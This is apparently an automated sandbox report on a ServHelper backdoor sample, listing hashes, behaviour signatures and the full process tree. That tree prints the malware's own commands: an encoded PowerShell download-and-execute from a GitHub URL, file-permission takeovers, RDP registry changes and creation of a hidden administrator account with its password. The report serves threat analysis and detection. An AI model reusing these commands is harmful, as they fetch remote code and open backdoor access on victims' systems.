Analysis

  • max time kernel
    135s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    16-06-2021 09:27

General

  • Target

    6efc7601be401f3e9b49f4f2cf63fee9.exe

  • Size

    6.0MB

  • MD5

    6efc7601be401f3e9b49f4f2cf63fee9

  • SHA1

    6c975b9f64a3e0840c43f11571bc4b1bccdc3d83

  • SHA256

    9d2a3042c4e2d68df7a39cd7efae7c64f2b7ed5ae507bac9282e154591757724

  • SHA512

    87998010dd888280388f65637945aca1c641c45ad482d9abb193b1f00c5838aff22dcec68c695feb357dab26f536edd8364640cda4814de461c506b1ff288c7a

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6efc7601be401f3e9b49f4f2cf63fee9.exe
    "C:\Users\Admin\AppData\Local\Temp\6efc7601be401f3e9b49f4f2cf63fee9.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dnc4qwrw\dnc4qwrw.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES28B6.tmp" "c:\Users\Admin\AppData\Local\Temp\dnc4qwrw\CSC55115F1A50BA466FB1A6B5594D7C8A.TMP"
          4⤵
            PID:1660
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1500
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1476
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1812
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:864
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1320
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1716
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1400
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1740
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1008
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1660
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:992
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1888
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:820
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:860
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:904
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1600
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1792
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1904
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1900
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1484
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:952
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1448
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:636
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1552
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:952
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:2032
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:680
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1384
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc XsM7PEPF /add
                                  1⤵
                                    PID:1244
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc XsM7PEPF /add
                                      2⤵
                                        PID:1372
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc XsM7PEPF /add
                                          3⤵
                                            PID:1596
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:944
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1912
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1904
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                              1⤵
                                                PID:1268
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                  2⤵
                                                    PID:1400
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                      3⤵
                                                        PID:1512
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:2032
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:820
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1648
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc XsM7PEPF
                                                          1⤵
                                                            PID:992
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc XsM7PEPF
                                                              2⤵
                                                                PID:1948
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc XsM7PEPF
                                                                  3⤵
                                                                    PID:1940
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1008
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1280
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1496
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2032
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:900
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:992
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1740

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/1220-62-0x0000000041394000-0x0000000041396000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1220-59-0x0000000041840000-0x0000000041C61000-memory.dmp

                                                                        Filesize

                                                                        4.1MB

                                                                      • memory/1220-64-0x0000000041397000-0x0000000041398000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1220-63-0x0000000041396000-0x0000000041397000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1220-61-0x0000000041392000-0x0000000041394000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1372-97-0x000000001B710000-0x000000001B711000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-106-0x000000001B7A0000-0x000000001B7A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-95-0x0000000001F40000-0x0000000001F41000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-94-0x000000001AC74000-0x000000001AC76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1372-93-0x000000001AC70000-0x000000001AC72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1372-99-0x000000001B7E0000-0x000000001B7E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-120-0x000000001AC40000-0x000000001AC41000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-119-0x0000000002A80000-0x0000000002A81000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1372-100-0x0000000002370000-0x0000000002371000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1476-156-0x000000001AE04000-0x000000001AE06000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1476-155-0x000000001AE00000-0x000000001AE02000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1500-131-0x000000001B7F0000-0x000000001B7F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1500-133-0x00000000027C0000-0x00000000027C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1500-129-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1500-128-0x000000001ACA4000-0x000000001ACA6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1500-134-0x00000000023B0000-0x00000000023B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1500-127-0x000000001ACA0000-0x000000001ACA2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1740-210-0x000000001960A000-0x0000000019629000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1740-209-0x0000000019604000-0x0000000019606000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1740-208-0x0000000019600000-0x0000000019602000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2028-86-0x000000001A9A0000-0x000000001A9A1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-72-0x000000001AAF4000-0x000000001AAF6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2028-66-0x000007FEFC0C1000-0x000007FEFC0C3000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2028-68-0x000000001AC70000-0x000000001AC71000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-67-0x0000000002300000-0x0000000002301000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-69-0x00000000024C0000-0x00000000024C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-70-0x00000000024F0000-0x00000000024F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-101-0x000000001AAFA000-0x000000001AB19000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/2028-71-0x000000001AAF0000-0x000000001AAF2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/2028-74-0x000000001B750000-0x000000001B751000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-159-0x000000001C2B0000-0x000000001C2B1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-82-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-84-0x0000000002790000-0x0000000002791000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/2028-85-0x000000001AA60000-0x000000001AA61000-memory.dmp

                                                                        Filesize

                                                                        4KB